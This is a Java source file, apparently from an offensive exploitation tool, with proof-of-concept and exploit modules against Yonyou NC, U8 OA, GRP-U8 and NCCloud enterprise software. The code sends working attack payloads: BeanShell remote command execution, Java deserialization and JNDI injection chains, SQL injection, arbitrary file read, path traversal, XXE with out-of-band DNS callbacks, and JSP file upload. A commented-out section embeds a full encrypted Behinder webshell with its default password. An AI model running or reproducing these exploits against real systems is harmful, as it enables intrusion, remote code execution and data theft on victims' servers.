package com.achuna33.Controllers;

import java.io.*;
import java.net.MalformedURLException;
import com.achuna33.Gadgets.URLDNS;
import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.*;
import nc.bs.framework.common.InvocationInfo;
import nc.bs.framework.comn.NetObjectOutputStream;
import nc.bs.framework.comn.cli.JavaURLCommunicator;
import sun.security.krb5.internal.crypto.Des;

@BasicMapping(uri = "用友")
public class YongyouController extends Controller implements BasicController{
    public YongyouController(){

    }

    @VulnerabilityDescriptionMapping(Description="servlet/~ic/bsh.servlet.BshServlet 可以执行脚本。" ,SupportVulType= SupportVul.RuntimeExec)
    public void vul_Beanshell(Poc_Exp type,String target,Object... args) throws Exception {
        WriteLog("\n[*]开始检测：  vul_Beanshell");

        switch (type){
            case EXP:


                break;
            case POC:
               HttpRequest httpRequest = new HttpRequest(target+"/servlet/~ic/bsh.servlet.BshServlet");
                Response result = httpRequest.Post("bsh.script=exec(\"ipconfig\");");
                if(result.responseBody.contains("DNS")){
                    WriteLog("[*] 存在漏洞");
                }else {
                    WriteLog("[*] 不存在漏洞");
                }
                WriteLog("\n"+result.responseBody);
        }
    }
    @VulnerabilityDescriptionMapping(Description="java 反序列化",SupportVulType= SupportVul.Serial)
    public void vul_ResourceManagerServlet(Poc_Exp type,String target,Object... args) throws Exception {

        WriteLog("\n[*]开始检测：vul_ResourceManagerServlet");
        switch (type){
            case EXP:
                String text = "";
                if (args!=null){
                    text = (String) args[0];
                    SerializedDataController serializedDataController = new SerializedDataController();
                    serializedDataController.process(text);
                    byte[] obj = serializedDataController.getResult(text);

                    target = target+"/servlet/~ic/uap.framework.rc.controller.ResourceManagerServlet";
                    HttpRequest httpRequest = new HttpRequest(target);
                    httpRequest.addHeaders("Content-Type","");
                    httpRequest.Post(obj);
                    WriteExpLog("\n[*] 发送成功。");

                }else {
                    WriteExpLog("\n[*] 请输入利用链");
                    return;
                }
                break;
            case POC:
                if (Cache.uiController.DNSDomain.getText().equals("")){
                    WriteLog("[*]DNS验证类型漏洞 请配置 DNSLOG 地址");
                    return;
                }else {
                    DNSLOG.setDomain(Cache.uiController.DNSDomain.getText());
                }

                String domain = DNSLOG.getRandomDomain();
                Object object = URLDNS.getObject("http://"+domain);

                target = target+"/servlet/~ic/uap.framework.rc.controller.ResourceManagerServlet";
                HttpRequest httpRequest = new HttpRequest(target);
                httpRequest.addHeaders("Content-Type","");
                httpRequest.Post(object);

                WriteLog("[*]请自行判断是否成功。"+domain);
        }
    }
    @VulnerabilityDescriptionMapping(Description="java 反序列化",SupportVulType= SupportVul.Serial)
    public void vul_XbrlPersistenceServlet(Poc_Exp type,String target,Object... args) throws Exception {
        WriteLog("\n[*]开始检测：  vul_XbrlPersistenceServlet");
        switch (type){
            case EXP:
                String text = "";
                if (args!=null){
                    text = (String) args[0];
                    SerializedDataController serializedDataController = new SerializedDataController();
                    serializedDataController.process(text);
                    byte[] obj = serializedDataController.getResult(text);

                    target = target+"/servlet/~xbrl/XbrlPersistenceServlet";
                    HttpRequest httpRequest = new HttpRequest(target);
                    httpRequest.addHeaders("Content-Type","");
                    httpRequest.Post(obj);
                    WriteExpLog("\n[*] 发送成功。");

                }else {
                    WriteExpLog("\n[*] 请输入利用链");
                    return;
                }
                break;
            case POC:
                if (Cache.uiController.DNSDomain.getText().equals("")){
                    WriteLog("[*]DNS验证类型漏洞 请配置 DNSLOG 地址");
                    return;
                }else {
                    DNSLOG.setDomain(Cache.uiController.DNSDomain.getText());
                }

                String domain = DNSLOG.getRandomDomain();
                Object object = URLDNS.getObject("http://"+domain);

                target = target + "/service/~xbrl/XbrlPersistenceServlet";
                HttpRequest httpRequest = new HttpRequest(target);
                httpRequest.addHeaders("Content-Type","");
                httpRequest.Post(object);

                WriteLog("[*]请自行判断是否成功。"+domain);
        }
    }
    @VulnerabilityDescriptionMapping(Description="java 反序列化",SupportVulType= SupportVul.Jndi)
    public void vul_LoginJndi(Poc_Exp type,String target,Object... args){
        WriteLog("\n[*]开始检测： vul_LoginJndi POC需要配置DNS");
        switch (type) {
            case EXP:
                try {
                    WriteExpLog ("\n[*]开始检测： vul_LoginJndi EXP");
                    WriteExpLog ("\n[*]Demo： ldap://127.0.0.1/");
                    InvocationInfo info = new InvocationInfo();
                    info.setServiceName(((String) args[0]).trim());


                    target = target + "/ServiceDispatcherServlet";

                    HttpRequest httpRequest = new HttpRequest(target);
                    httpRequest.addHeaders("serverEnable","localserver");
                    ByteArrayOutputStream bout = new ByteArrayOutputStream();
                    NetObjectOutputStream objOut = new NetObjectOutputStream(bout);
                    objOut.writeObject(info);
                    objOut.finish();
                    objOut.flush();

                    httpRequest.Post(bout);
                    WriteExpLog("\n[*] 请自行判断是否成功。");

                }catch (Exception e){
                    WriteExpLog("\n[*] 请自行判断是否成功。");
                }
                break;
            case POC:
                try {
                    if (Cache.uiController.DNSDomain.getText().equals("")){
                        WriteLog("[*]  DNS验证类型漏洞 请配置 DNSLOG 地址");
                        return;
                    }else {
                        DNSLOG.setDomain(Cache.uiController.DNSDomain.getText());
                    }
                    InvocationInfo info = new InvocationInfo();

                    String domain = DNSLOG.getRandomDomain();
                    info.setServiceName("ldap://"+domain);
                    JavaURLCommunicator com = new JavaURLCommunicator();
                    target = target + "/ServiceDispatcherServlet";

                    HttpRequest httpRequest = new HttpRequest(target);
                    httpRequest.addHeaders("serverEnable","localserver");
                    ByteArrayOutputStream bout = new ByteArrayOutputStream();
                    NetObjectOutputStream objOut = new NetObjectOutputStream(bout);
                    objOut.writeObject(info);
                    objOut.finish();
                    objOut.flush();

                    httpRequest.Post(bout);
                    WriteLog("[*]请自行判断是否成功。"+domain);

                }catch (Exception e){
                }
        }

    }
    @VulnerabilityDescriptionMapping(Description="用友 U8 OA getSessionList.jsp 敏感信息泄漏漏洞",SupportVulType= SupportVul.信息泄露)
    public void vul_getSessionList(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 U8 OA getSessionList.jsp 敏感信息泄漏漏洞");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/yyoa/ext/https/getSessionList.jsp?cmd=getAll");
                Response result = httpRequest.Get("");
                if(result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/yyoa/ext/https/getSessionList.jsp?cmd=getAll");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
    @VulnerabilityDescriptionMapping(Description="用友 U8 OA test.jsp SQL注入漏洞",SupportVulType= SupportVul.SQLInjection)
    public void vul_testSqlInjection(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 U8 OA test.jsp SQL注入漏洞");

        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))");
                Response result = httpRequest.Get("");
                if(result.statusCode==200&&result.responseBody.contains("MD5")){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
    @VulnerabilityDescriptionMapping(Description="用友 NC NCFindWeb 任意文件读取漏洞",SupportVulType= SupportVul.SQLInjection)
    public void vul_NCFindWeb(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 NC NCFindWeb 任意文件读取漏洞");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml");
                Response result = httpRequest.Get("");
                if(result.statusCode==200&&result.responseBody.contains("WebApp")){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
    @VulnerabilityDescriptionMapping(Description="用友 NC bsh.servlet.BshServlet 远程命令执行漏洞",SupportVulType= SupportVul.RuntimeExec)
    public void vul_BshServlet(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n开始检测：  用友 NC bsh.servlet.BshServlet 远程命令执行漏洞");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/servlet/~ic/bsh.servlet.BshServlet");
                Response result = httpRequest.Get("");
                if(result.statusCode==200&&result.responseBody.contains("BeanShell")){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/servlet/~ic/bsh.servlet.BshServlet");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
    @VulnerabilityDescriptionMapping(Description="用友 NCCloud FS文件管理SQL注入",SupportVulType= SupportVul.RuntimeExec)
    public void vul_FS文件管理SQL注入(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 NCCloud FS文件管理SQL注入");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/servlet/~ic/bsh.servlet.BshServlet");
                Response result = httpRequest.Get("");
                if(result.statusCode==200&&result.responseBody.contains("BeanShell")){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/servlet/~ic/bsh.servlet.BshServlet");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }

    @VulnerabilityDescriptionMapping(Description="用友 FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞",SupportVulType= SupportVul.信息泄露)
    public void vul_templateOfTaohong_manager(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞");
        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/system/mediafile/templateOfTaohong_manager.jsp?path=/../../../");
                Response result = httpRequest.Get("");
                if(result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/servlet/~ic/bsh.servlet.BshServlet");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }

    @VulnerabilityDescriptionMapping(Description="用友 GRP-U8 Proxy SQL注入 CNNVD-201610-923",SupportVulType= SupportVul.信息泄露)
    public void vul_Proxy(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友 GRP-U8 Proxy SQL注入 CNNVD-201610-923");
        String payload = "cVer=9.8.0&dp=<?xml version=\"1.0\" encoding=\"GB2312\"?><R9PACKET version=\"1\"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format=\"text\">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format=\"text\">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>\n";
        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/Proxy");
                Response result = httpRequest.Post(payload);
                if(result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+"/Proxy");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }

    @VulnerabilityDescriptionMapping(Description = "用友NC系统uapws wsdl XXE",SupportVulType = SupportVul.信息泄露)
    public void vul_Uapws_XXE(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        String url = "/uapws/service/nc.uap.oba.update.IUpdateService?xsd={{{xmlUrl}}}";
        WriteLog("\n[*]开始检测：  用友NC系统uapws wsdl XXE");
        switch (type){
            case EXP:
                break;
            case POC:
                if (Cache.uiController.DNSDomain.getText().equals("")){
                    WriteLog("[*]DNS验证类型漏洞 请配置 DNSLOG 地址");
                    return;
                }else {
                    DNSLOG.setDomain(Cache.uiController.DNSDomain.getText());
                }

                String domain = DNSLOG.getRandomDomain();
                url = url.replaceAll("xmlUrl","http://"+domain);
                HttpRequest httpRequest = new HttpRequest(target+url);
                Response result = httpRequest.Get("");
                if(result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+url);
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
    @VulnerabilityDescriptionMapping(Description = "用友NC accept 文件上传",SupportVulType = SupportVul.信息泄露)
    public void vul_accept(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        String url = "/aim/equipmap/accept.jsp";
        WriteLog("\n[*]开始检测：  用友NC accept 文件上传");
        String data1 = "-----------------------------120466775124259350661042728135\r\n" +
                "Content-Disposition: form-data; name=\"fname\"\r\n" +
                "\n" +
                "webapps/nc_web/sqltest.jspx\r\n" +
                "-----------------------------120466775124259350661042728135\r\n" +
                "Content-Disposition: form-data; name=\"upload\"; filename=\"sqltest.jspx\"\r\n" +
                "Content-Type: images/gif\r\n" +
                "\r\n" +
                "test\r\n" +
                "-----------------------------120466775124259350661042728135--\r\n";
        switch (type){
            case EXP:

                HttpRequest httpRequest_exp = new HttpRequest(target+url);
                httpRequest_exp.addHeaders("Content-Type","multipart/form-data; boundary=----120466775124259350661042728135");
                Response result_exp = httpRequest_exp.Post(data1);

                if (result_exp.statusCode==200 && result_exp.responseBody.contains("afterUpload(1)")){
                    HttpRequest httpRequest_exp2 = new HttpRequest(target+"/sqltest.jspx");
                    Response result_exp2 = httpRequest_exp2.Get("");
                    if (result_exp2.statusCode==404){
                        WriteExpLog("\n[*] 上传成功 但是失败请手测");
                    }else {
                        WriteExpLog("\n[*] 上传成功: 请访问:"+target+"/sqltest.jspx");
                    }
                }else {
                    WriteExpLog("\n[*] 上传异常: 请设置代理查看");
                }

                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+url);
                Response result = httpRequest.Get("");
                if(result.statusCode==200 && result.responseBody.contains("NegativeArraySizeException")){
                    WriteLog("\n[*] 存在漏洞 漏洞页面");
                    WriteLog("\n[*]请求地址："+target+url);
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }

    @VulnerabilityDescriptionMapping(Description = "用友NC / NCCloud SQL 注入 0day",SupportVulType = SupportVul.SQLInjection)
    public void vul_IBapIOService(Poc_Exp type,String target,Object... args) throws MalformedURLException {
        WriteLog("\n[*]开始检测：  用友NC / NCCloud SQL 注入 0day");
        String url = "/uapws/service/nc.itf.bap.service.IBapIOService";
        String data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ibap=\"http://service.bap.itf.nc/IBapIOService\">\n" +
                "   <soapenv:Header/>\n" +
                "   <soapenv:Body>\n" +
                "      <ibap:getBapTable>\n" +
                "         <!--Zero or more repetitions:-->\n" +
                "         <ibap:stringarrayItem>DWQueue@MessageQueue</ibap:stringarrayItem>\n" +
                "      </ibap:getBapTable>\n" +
                "   </soapenv:Body>\n" +
                "</soapenv:Envelope>";
        switch (type){
            case EXP:
                WriteExpLog("\n[*] 建议手打");

                break;
            case POC:

                HttpRequest httpRequest = new HttpRequest(target+url);
                Response result = httpRequest.Post(data);
                if (result.statusCode==500&&result.responseBody.contains("RuntimeException")){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("\n[*]请求地址："+target+url);
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }

//    @VulnerabilityDescriptionMapping(Description = "用友CRM uploadfile 文件上传漏洞",SupportVulType = com.achuna33.SupportType.SupportVul.UploadFile)
//    public void vul_uploadfile(Poc_Exp type, String target, Object... args) throws MalformedURLException {
//
//        String url = "/ajax/uploadfile.php?DontCheckLogin=1";
//        String randomStr = Utils.getRandomString(4);
//        String payload = "------WebKitFormBoundary92pUawKc\r\n" +
//                "Content-Disposition: form-data; name=\"myFile\";filename=\"test.php \"\r\n" +
//                "\r\n" +
//                "payload\r\n" +
//                "------WebKitFormBoundary92pUawKc\r\n" +
//                "Content-Disposition: form-data; name=\"upload\"\r\n" +
//                "\r\n" +
//                "upload\r\n" +
//                "------WebKitFormBoundary92pUawKc--";
//        switch (type){
//            case EXP:
//                String path = null;
//                String mypayload = null;
//                try {
//                    path = (String) args[0];
//                    try {
//                        byte[] bytes = Utils.readFile(path);
//                        mypayload = new String(bytes);
//                    }catch (Exception e){
//                        WriteExpLog("\n [*] 文件读取失败");
//                    }
//                }catch (Exception e){
//
//                }
//                String EXP = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>\n";
//
//                if (mypayload!=null){
//                    EXP = mypayload;
//                }else {
//                    WriteExpLog("\n [*] 默认shell 为冰蝎shell 密码 rebeyond");
//                }
//                payload = payload.replace("payload",EXP);
//                HttpRequest ExploitRequest = new HttpRequest(target+url);
//                ExploitRequest.addHeaders("Content-Type","multipart/form-data; boundary=----1638451160");
//
//                Response exp_result = ExploitRequest.Post(payload);
//                if(exp_result.statusCode==200 && exp_result.responseBody.length()>0){
//                    WriteExpLog("\n[*] 上传地址地址："+target+"/clusterupgrade/"+randomStr+".jsp" );
//                }else {
//                    WriteExpLog("\n[*] 利用异常 请手动访问"+target+"/clusterupgrade/"+randomStr+".jsp");
//                }
//                break;
//            case POC:
//                payload = payload.replace("payload","<%out.print(\"test\");%>");
//                HttpRequest httpRequest = new HttpRequest(target+url);
//                httpRequest.addHeaders("Content-Type","multipart/form-data; boundary=----1638451160");
//
//                httpRequest.Post(payload);
//
//                Response result = new HttpRequest(target+"/clusterupgrade/"+randomStr+".jsp").Get("");
//
//
//                if(result.statusCode==200 && result.responseBody.length()>0){
//
//                    WriteLog("\n[*] 存在漏洞");
//                    WriteLog("\n[*] 访问地址："+target+"/clusterupgrade/"+randomStr+".jsp" );
//
//                }else {
//                    WriteLog("\n[*] 不存在漏洞");
//                }
//        }
//
//    }
//

    public static void main(String[] args) throws Exception {
        //new InitialContext().lookup("ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/Command/Base64/Q2FsYw==");
        String text = "Deserialization/CommonsBeanutils1/Command/Base64/Q2FsYw==";
        SerializedDataController serializedDataController = new SerializedDataController();
        serializedDataController.process(text);
        byte[] bytes = serializedDataController.getResult(text);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream obj = new ObjectInputStream(byteArrayInputStream);
        obj.readObject();
    }
}
